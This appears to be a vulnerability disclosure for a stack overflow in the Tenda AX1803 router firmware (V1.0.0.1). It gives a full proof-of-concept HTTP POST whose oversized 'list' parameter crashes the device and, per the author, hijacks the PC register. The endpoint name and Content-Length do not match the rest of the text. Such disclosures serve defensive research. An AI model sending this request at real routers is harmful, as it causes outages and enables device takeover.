- Manufacturer's website information：https://www.tenda.com.cn
- Firmware download address ： https://www.tenda.com.cn/download/detail-3421.html
Tenda AX1803 V1.0.0.1, the latest version of simulation overview：
The Tenda AX1803 (V1.0.0.1) was found to have a stack overflow vulnerability in the formSetQosBand function. An attacker can obtain a stable root shell through a carefully constructed payload.
In the formSetQosBand function, v1 (the value of list) we entered will be passed into the sub_8C1EC function as a parameter, and this function has stack overflow.
In the sub_8C1EC function,the a1 (the value of list) we entered is directly copied into the s array through the strcpy function.It is not secure, as long as the size of the data we enter is larger than the size of s, it will cause a stack overflow.
In order to reproduce the vulnerability, the following steps can be followed:
- Boot the firmware by qemu-system or other ways (real machine)
- Attack with the following POC attacks
POST /goform/SetNetControlList HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 336
Origin: http://192.168.0.1
DNT: 1
Connection: close
Referer: http://192.168.0.1/index.html
Cookie: ecos_pw=eee:language=cn
list=dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd;
By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .
As shown in the figure above, we can hijack PC registers.
Finally, you also can write exp to get a stable root shell.